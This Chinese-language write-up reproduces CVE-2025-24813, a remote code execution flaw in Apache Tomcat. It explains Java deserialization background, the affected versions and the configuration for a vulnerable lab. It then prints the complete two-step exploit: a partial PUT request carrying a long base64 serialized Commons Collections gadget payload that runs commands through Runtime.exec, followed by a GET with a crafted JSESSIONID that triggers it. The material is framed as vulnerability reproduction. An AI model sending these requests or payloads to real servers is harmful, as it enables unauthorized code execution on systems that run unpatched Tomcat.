Tomcat RCE漏洞CVE-2025-24813复现
前置知识
JAVA序列化与反序列化简述
JAVA序列化是JAVA语言内置的一种对象持久化的机制,它可以将JAVA对象转化为字节流,以便于在网络中进行传输,或者保存到本地进行持久化(类似于PHP序列化)。反序列化则是序列化的逆过程,将字节流转化回JAVA对象。
序列化过程中,JAVA会将对象的类型、属性以及属性的值等信息一起保存下来,反序列化时,JAVA会根据这些信息重新构建出原来的对象。这就意味着,如果一个恶意用户能够控制序列化的字节流,那么他就有可能在反序列化时构造出含有恶意代码的对象,从而引发安全问题。
JAVA反序列化漏洞的常见产生原因
JAVA反序列化漏洞的产生,主要是因为在反序列化时,JAVA会自动调用对象的readObject()方法,而这个方法通常是开发者自定义的,如果开发者在这个方法中执行了不安全的操作,就可能产生安全漏洞。
另一种常见的情况是,JAVA的某些内置类库,如Apache Commons Collections、JAVA RMI等,在反序列化时,会自动执行某些可以被恶意利用的方法。如果应用使用了这些类库,并且没有对反序列化的输入进行有效的限制,那么就可能产生反序列化漏洞。
常规反序列化漏洞的发现与利用技术
在实际的安全测试中,发现JAVA反序列化漏洞,通常需要通过静态代码分析、动态测试、模糊测试等手段。其中,静态代码分析是直接阅读和理解源代码,找出可能存在问题的地方;动态测试是在运行应用的过程中,对其进行观察和调试,寻找可能的漏洞;模糊测试是对应用的输入进行大量的随机化修改,试图触发未知的漏洞。
利用JAVA反序列化漏洞,通常需要构造特殊的序列化字节流,这个字节流在反序列化时,会产生恶意的效果。这需要对JAVA序列化的格式有深入的理解,同时还需要对目标应用的具体情况有足够的了解。
漏洞描述
漏洞细节
该漏洞的核心在于 Tomcat 在处理不完整PUT请求上传时,会使用了一个基于用户提供的文件名和路径生成的临时文件,且文件路径中的分隔符/
会被转换为.
。例如:访问/xxxxx/session
会被解析为.xxxxx.session
因此整个漏洞的利用过程为:
Tomcat的File会话存储默认路径同样位于:CATALINA_BASE/work/Catalina/localhost/ROOT
当存在反序列化利用链时,可以上传包含恶意序列化数据的文件
通过设置JSESSIONID=.xxxxx
来触发漏洞
若同时满足以下条件,攻击者可执行任意代码:
- 默认 Servlet 启用了写权限(默认禁用)
- 启用了部分PUT请求支持(默认启用)
- 应用程序使用 Tomcat 的基于文件的会话持久化(默认存储位置)
- 应用程序包含可被利用于反序列化攻击的库
受影响版本
Apache Tomcat 11.0.0-M1 至 11.0.2
Apache Tomcat 10.1.0-M1 至 10.1.34
Apache Tomcat 9.0.0-M1 至 9.0.98
漏洞复现
环境搭建
以Tomcat 9.0.98为例:
Tomcat 9.0.98下载地址https://github.com/apache/tomcat/releases/tag/9.0.98
条件一:在conf/web.xml
中,将DefaultServlet
的readonly
配置为false
,启用写入功能
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
条件二:PUT默认开启
条件三:在conf/context.xml
中,开启File文件会话存储
<Manager className="org.apache.catalina.session.PersistentManager">
<Store className="org.apache.catalina.session.FileStore"/>
</Manager>
条件四:下载commons-collections-3.2.1.jar
, 将该jar
包放入webapps\ROOT\WEB-INF\lib
目录下,如果没有这个目录就创建一个
commons-collections-3.2.1.jar下载地址:
环境搭建好后就点击bin目录下的startup.bat
(For Windows)或者startup.sh
(For Linux)启动环境即可
zhailin@DESKTOP-7U7Q35J:~/Vuln-Analysis/CVE-2025-24813/apache-tomcat-9.0.98/bin$ sudo chmod +x startup.sh
zhailin@DESKTOP-7U7Q35J:~/Vuln-Analysis/CVE-2025-24813/apache-tomcat-9.0.98/bin$ sudo chmod +x catalina.sh
zhailin@DESKTOP-7U7Q35J:~/Vuln-Analysis/CVE-2025-24813/apache-tomcat-9.0.98/bin$ ./startup.sh
之后访问ip:8080
(一般默认是8080)
Exploit
首先在【Yso-Java Hack】模块快速生成一个利用payload:
使用以下数据包上传,需要注意Range的分块值需要与Length保持一致,且大于当前文件的长度。
PUT /xxxxx/session HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 1000
Content-Range: bytes 0-1000/1200
{{反序列化文件内容)}}
反序列化的内容填我们生成出来的payload,由于我们的payload是二进制转base64的,于是我们在第一个包中还需要进行base64解码
以下是第一个数据包内容:
PUT /xxxxx/session HTTP/1.1
Host: 172.23.218.80:8080
Content-Length: 1000
Content-Range: bytes 0-1000/1200
{{base64dec(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)}}
之后构造第二个数据包
第二个数据包内容如下:
GET / HTTP/1.1
Host: 172.23.218.80:8080
Cookie: JSESSIONID=.xxxxx
之后发包
由于我的漏洞环境是在WSL+Ubuntu-22.04环境下,无法直接calc,于是笔者换了另一种方式(touch /tmp/poc_success以创建标记文件) 同时也成功观察到标记文件生成,证明漏洞利用成功
先后发送两个数据包